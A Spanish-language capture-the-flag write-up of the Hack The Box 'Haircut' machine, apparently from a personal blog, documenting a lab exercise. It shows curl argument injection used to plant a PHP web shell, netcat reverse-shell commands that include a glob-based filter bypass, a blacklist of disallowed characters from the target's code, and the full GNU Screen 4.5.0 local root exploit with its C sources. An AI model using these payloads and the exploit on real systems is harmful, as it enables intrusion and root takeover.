Post

Hack The Box Haircut

Haircut

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.24.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.24
PING 10.10.10.24 (10.10.10.24) 56(84) bytes of data.
64 bytes from 10.10.10.24: icmp_seq=1 ttl=63 time=141 ms

--- 10.10.10.24 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 140.830/140.830/140.830/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nmap -p- --open -T5 -v -n 10.10.10.24 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-18 14:23 CDT
Initiating Ping Scan at 14:23
Scanning 10.10.10.24 [4 ports]
Completed Ping Scan at 14:23, 0.16s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:23
Scanning 10.10.10.24 [65535 ports]
Discovered open port 22/tcp on 10.10.10.24
Discovered open port 80/tcp on 10.10.10.24
SYN Stealth Scan Timing: About 46.88% done; ETC: 14:24 (0:00:35 remaining)
Completed SYN Stealth Scan at 14:24, 60.57s elapsed (65535 total ports)
Nmap scan report for 10.10.10.24
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 60.85 seconds
           Raw packets sent: 68006 (2.992MB) | Rcvd: 68003 (2.720MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.24
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -sC -sV -p22,80 10.10.10.24 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-18 14:25 CDT
Nmap scan report for 10.10.10.24
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.71 seconds

Vemos el puerto 80 abierto asociado al servicio al servicio HTTP, así que vamos a ver a lo que nos enfrentamos con whatweb:

1
2
❯ whatweb http://10.10.10.24/
http://10.10.10.24/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.10.0 (Ubuntu)], IP[10.10.10.24], Title[HTB Hairdresser], nginx[1.10.0]

Vamos a echarle un ojo al sitio web:

""

No vemos nada internesante, así que vamos a tratar de descubrir rutas dentro del servidor web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ wfuzz -c -t 100 --hc=404 --hw=15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.24/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.24/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000000164:   301        7 L      13 W       194 Ch      "uploads"                                                       
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 12.50386
Processed Requests: 1500
Filtered Requests: 1499
Requests/sec.: 119.9629

Tenemos el recurso uploads, pero si tratamos de ingresar, nos aparece un código de estado 403; por lo que vamos a tratar de encontrar recursos mediante un archivo de extensiones:

1
2
3
4
txt
php
jpg
html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ wfuzz -c -t 250 --hc=404 --hw=15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensiones.txt http://10.10.10.24/FUZZ.FUZ2Z
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.24/FUZZ.FUZ2Z
Total requests: 882240

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000024515:   200        458 L    5055 W     127758 Ch   "sea - jpg"                                                     
000057567:   200        285 L    2435 W     109923 Ch   "bounce - jpg"                                                  
000100226:   200        19 L     41 W       446 Ch      "exposed - php"                                                 
000250875:   200        645 L    5909 W     159506 Ch   "carrie - jpg"                                                  
^C000364418:   404        7 L      13 W       178 Ch      "20061223am1 - php"                                             

Total time: 0
Processed Requests: 364391
Filtered Requests: 364387
Requests/sec.: 0

Vemos los siguientes recursos:

  • sea.jpg
  • bounce.jpg
  • exposed.php
  • carrie.jpg

Le echamos un ojo primero al recurso exposed.php:

""

Si le damos al botón Go, nos arroja lo siguiente:

""

Observamos los siguientes datos que nos pueden parecer un poco

1
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 223 100 223 0 0 34440 0 --:--:-- --:--:-- --:--:-- 37166

Se trata del uso de la función curl, por lo que es posible que el sitio realice un curl hacia un recurso interno de la máquina víctima http://localhost/test.html. Así que vamos a probar si tenemos ejecución de comando a nivel de sistema de múltiples formas:

  • http://localhost/test.html; whoami
  • http://localhost/test.html && whoami
  • http://localhost/loquesea.html || whoami

Al probarlos, el sitio nos arroja a siguiente leyenda: is not a good thing to put in a URL. Así que vamos a tratar de utilizar parámetros de la función curl, en especifico -o para que nos cree un archivo en la ruta uploads y considerando que el servidor web se encuentra alojado en la ruta default /var/www/html.

1
http://localhost/test.html -o /var/www/html/uploads/test.html

""

Se nos creó el archivo test.html en el recurso uploads; así que tenemos creación de archivo dentro de dicho directorio. Vamos a probar si tenemos posibilidad de visualizar recursos externos, así que nos creamos un archivo de prueba test.txt:

Esto es una prueba

Y vamos a tratar de visualizarlo desde la página web, por lo que debemos compartir un recurso HTTP con python:

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [18/Oct/2021 20:35:30] "GET /test.txt HTTP/1.1" 200 -
1
http://10.10.14.16/test.txt

""

Nos arroja la información de nuestro archivo, por lo que vamos a probar si podemos guardar dicho archivo en el recurso uploads:

1
http://10.10.14.16/test.txt -o /var/www/html/uploads/test.txt

""

Podemos subir archivos al sistema, así que vamos a crear nuestro archivo shell.php

1
2
3
<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Lo subimos al servidor:

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [18/Oct/2021 20:56:59] "GET /shell.php HTTP/1.1" 200 -
1
http://10.10.14.16/shell.php -o /var/www/html/uploads/shell.php

""

Ya tenemos ejecución de comandos a nivel de sistema; asi que vamos a tratar de entablarnos una reverse shell con nc y nos ponemos en escucha por el puerto 443:

1
http://10.10.10.24/uploads/shell.php?cmd=nc -e /bin/bash 10.10.14.16 443 &
1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.24] 49758
whoami
www-data

Nos encontramos dentro de la máquina víctima, pero antes de todo, vamos a realizar un Tratamiento de la tty para trabajar más cómodos.

Ahora, si revisamos el archivo exposed.php ubicado en la ruta /var/www/html/, vemos que no podemos utilizar los siguientes caracteres y palabras dentro del input:

1
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');

A este punto, ya debemos estar pensando en otra forma de acceder a la máquina con la ejecución de comandos y sin necesidad de subir una reverse shell:

1
http://$(/bin/n? -e /bin/bas? 10.10.14.16 443)

Si lo ejecutamos y nos ponemos en escucha por el puerto 443, se nos entabla una reverse shell y podemos visualizar la flag (user.txt). Ahora nos queda escalar privilegios, por lo que enumeramos un poco el sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
www-data@haircut:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@haircut:/$ sudo -l
[sudo] password for www-data: 
www-data@haircut:/$ cd /
www-data@haircut:/$ find \-perm -4000 2>/dev/null
./bin/ntfs-3g
./bin/ping6
./bin/fusermount
./bin/su
./bin/mount
./bin/ping
./bin/umount
./usr/bin/sudo
./usr/bin/pkexec
./usr/bin/newuidmap
./usr/bin/newgrp
./usr/bin/newgidmap
./usr/bin/gpasswd
./usr/bin/at
./usr/bin/passwd
./usr/bin/screen-4.5.0
./usr/bin/chsh
./usr/bin/chfn
./usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/snapd/snap-confine
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/policykit-1/polkit-agent-helper-1
www-data@haircut:/$

Tenemos el binario screen-4.5.0, así que vamos a buscar un posible exploit público asociado:

1
2
3
4
5
6
7
8
❯ searchsploit screen 4.5.0
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                                                  | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                                            | linux/local/41152.txt
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Vemos dos recursos, un script en bash y otro una prueba de concepto (PoC). Para este caso utilizaremos el script; sin embargo, no vamos a ejecutarlo en la máquina víctima, vamos a ver que hace primeramente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
❯ searchsploit -m linux/local/41154.sh
  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/41154
     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
File Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators

Copied to: /home/k4miyo/Documentos/HTB/Haircut/exploits/41154.sh


❯ mv 41154.sh screen_privesc.sh
❯ catn screen_privesc.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell# 

Analizando un poco el script, primero crea un archivo llamado libhax.c y lo compila como libhax.so; asi que vamos a realizar esta parte, creando dicho archivo y compilandolo.

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
1
2
3
4
5
6
❯ gcc -fPIC -shared -ldl -o libhax.so libhax.c

libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
    7 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~

Nos aparece un Warning, pero no hay problema. Ahora borramos el archivo libhax.c, creamos el archivo rootshell.c y lo compilamos:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rm libhax.c
❯ gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]rm rootshell.c

De igual forma, nos salen unos Warning, pero no hay problema. Ahora tenemos de transferir los archivos resultantes a la máquina víctima en la ruta /tmp/ y lo haremos compartiendo un servidor HTTP con python y la herramienta wget:

1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [18/Oct/2021 21:38:49] "GET /libhax.so HTTP/1.1" 200 -
10.10.10.24 - - [18/Oct/2021 21:38:58] "GET /rootshell HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@haircut:/$ cd /tmp
www-data@haircut:/tmp$ wget http://10.10.14.16/libhax.so
--2021-10-19 04:43:40--  http://10.10.14.16/libhax.so
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so                        100%[=======================================================>]  15.76K  --.-KB/s    in 0.1s    

2021-10-19 04:43:41 (114 KB/s) - 'libhax.so' saved [16136/16136]

www-data@haircut:/tmp$ wget http://10.10.14.16/rootshell
--2021-10-19 04:43:49--  http://10.10.14.16/rootshell
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16816 (16K) [application/octet-stream]
Saving to: 'rootshell'

rootshell                        100%[=======================================================>]  16.42K  --.-KB/s    in 0.1s    

2021-10-19 04:43:50 (119 KB/s) - 'rootshell' saved [16816/16816]

www-data@haircut:/tmp$

Ahora ejecutamos los siguientes comando de acuerdo con lo que indica el script:

1
2
3
4
5
6
7
8
9
10
www-data@haircut:/tmp$ cd /etc
www-data@haircut:/etc$ umask 000
www-data@haircut:/etc$ screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
www-data@haircut:/etc$ ls -l /tmp/rootshell 
-rwsr-xr-x 1 root root 16816 Oct 19 04:36 /tmp/rootshell
www-data@haircut:/etc$
www-data@haircut:/etc$ /tmp/rootshell
# whoami
root
# 

Ya somos el usuario root y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.